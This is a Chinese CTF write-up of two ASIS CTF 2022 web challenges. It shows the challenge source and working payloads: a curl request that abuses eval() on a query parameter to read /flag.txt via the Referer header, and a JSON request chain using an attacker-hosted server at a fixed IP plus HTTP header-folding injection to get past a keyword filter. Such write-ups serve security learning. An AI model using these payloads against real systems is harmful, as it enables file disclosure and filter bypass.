2022asisctf-web部分wp

  1. 1. 前言
  2. 2. Beginner ducks
  3. 3. Firewalled

前言

简单看了一下,一看就是几小时。。。

Beginner ducks

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3
from flask import Flask,request,Response
import random
import re

app = Flask(__name__)
availableDucks = ['duckInABag','duckLookingAtAHacker','duckWithAFreeHugsSign']
indexTemplate = None
flag = None

@app.route('/duck')
def retDuck():
what = request.args.get('what')
duckInABag = './images/e146727ce27b9ed172e70d85b2da4736.jpeg'
duckLookingAtAHacker = './images/591233537c16718427dc3c23429de172.jpeg'
duckWithAFreeHugsSign = './images/25058ec9ffd96a8bcd4fcb28ef4ca72b.jpeg'

if(not what or re.search(r'[^A-Za-z\.]',what)):
return 'what?'

with open(eval(what),'rb') as f:
return Response(f.read(), mimetype='image/jpeg')

@app.route("/")
def index():
return indexTemplate.replace('WHAT',random.choice(availableDucks))

with open('./index.html') as f:
indexTemplate = f.read()
with open('/flag.txt') as f:
flag = f.read()

if(__name__ == '__main__'):
app.run(port=8000)

duck路由eval了what,并且以文件形式打开,flag在/flag.txt what只允许字母和.

这样就行

1
curl 'http://ducks.asisctf.com:8000/duck?what=request.referrer' -H "Referer: /flag.txt"

Firewalled

附件格式

1665851331286.png

看yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
version: "3.9"

services:
flag-container:
build: ./flag-container
environment:
- FLAG=ASIS{test-flag}
restart: always
firewalled-curl:
build: ./firewalled-curl
ports:
- "8000:80"
restart: always

很明了

firewalled-curl可以发送http请求,但是有几个过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
isSafeAscii = lambda s : not re.search(r'[^\x20-\x7F]',s)
isSafeHeader = lambda s : isSafeAscii(s)
isSafePath = lambda s : s[0] == '/' and isSafeAscii(s) and ' ' not in s
badHeaderNames = ['encoding','type','charset']
unsafeKeywords = ["flag"]

......

def isJson(s):
try:
json.loads(s)
return True
except:
return False

def checkHostname(name):
name = str(name)
port = '80'
if(':' in name):
sp = name.split(':')
name = sp[0]
port = sp[1]

if(
(
re.search(r'^[a-z0-9][a-z0-9\-\.]+$',name) or
re.search(r'^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$',name)
) and
0 < int(port) < 0x10000
):
return name,int(port)
return Exception('unsafe port'),Exception('unsafe hostname')

def recvuntil(sock,u):
r = b''
while(r[-len(u):] != u):
r += sock.recv(1)
return r

def checkHeaders(headers):
newHeaders = {}
if(type(headers) is not dict):
return Exception('unsafe headers')
for headerName in headers:
headerValue = str(headers[headerName])
if((isSafeHeader(headerName) and ':' not in headerName) and isSafeHeader(headerValue)):
isBad = False
for badHeaderName in badHeaderNames:
if(badHeaderName in headerName.lower()):
isBad = True
break
for badHeaderValue in unsafeKeywords:
if(badHeaderValue in headerValue.lower()):
isBad = True
break
if(isBad):
return Exception('bad headers')
newHeaders[headerName] = headerValue
return newHeaders

def checkMethod(method):
if(method in ['GET','POST']):
return method
return Exception('unsafe method')

def checkPath(path):
if(isSafePath(path)):
return path
return Exception('unsafe path')

def checkJson(j):
if(type(j) == str):
for u in unsafeKeywords:
if(u in j.lower()):
return False
elif(type(j) == list):
for entry in j:
if(not checkJson(entry)):
return False
elif(type(j) == dict):
for entry in j:
if(not checkJson(j[entry])):
return False
else:
return True

return True

再看flag容器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
from flask import Flask,request
import requests
import json
import os

app = Flask(__name__)
application = app
# flag = os.environ.get('FLAG')
flag = 'flag{test_flag}'

@app.route('/flag')
def index():
args = request.args.get('args')

try:
r = requests.post('http://firewalled-curl/req',json=json.loads(args)).json()
if('request' in r and 'flag' in r['request'] and 'flag' in request.headers['X-Request']):
return flag
except:
pass
return 'No flag for you :('

if(__name__ == '__main__'):
app.run(port=8019)

构造这样的数据就能发包

1
{"host":"flag-container","headers":{"X-Request":"xxx"},"method":"GET","path":"/flag?args={\"host\":\"124.70.40.5:18881\",\"headers\":{\"X-Request\":\"xxx\"},\"method\":\"GET\",\"path\":\"/test\",\"returnJson\":0}","returnJson":0}

args的内容又被发送到http://firewalled-curl/req, 然后r保存返回值

主要是要满足

1
if('request' in r and 'flag' in r['request'] and 'flag' in request.headers['X-Request'])

checkJson的话 起一个http服务发送特定的json数据就能绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask, request
import requests
import json
import os

app = Flask(__name__)
application = app


@app.route('/test')
def index():
return {"request":{"flag":"111"}}


if (__name__ == '__main__'):
app.run(port=18881)

这样满足了前面两个,主要是最后'flag' in request.headers['X-Request']

因为checkHeaders的过滤,headers的value不能有flag,卡在这里了

最后绕过的话用http格式的规范

看到firewalled-curl里

1665851847879.png

他发送http头实际上是字符串拼接的,这里就能做文章

比如

1665851902838.png

我如果在请求头键值前加一个空格,他就会变成值,

1665851962236.png

上面说他发送http数据是单纯凭借起来的头,所以我们只要

1
2
3
4
5
"headers":
{
"X-Request":"123",
" flag": "321"
}

X-Request的值就会变为

1665852034105.png

满足条件了

最后payload

1
2
3
{"host":"flag-container","headers":{"X-Request":"123",
" flag": "321"
},"method":"GET","path":"/flag?args={\"host\":\"124.70.40.5:18881\",\"headers\":{\"X-Request\":\"xxx\"},\"method\":\"GET\",\"path\":\"/test\",\"returnJson\":0}","returnJson":0}

1665852113724.png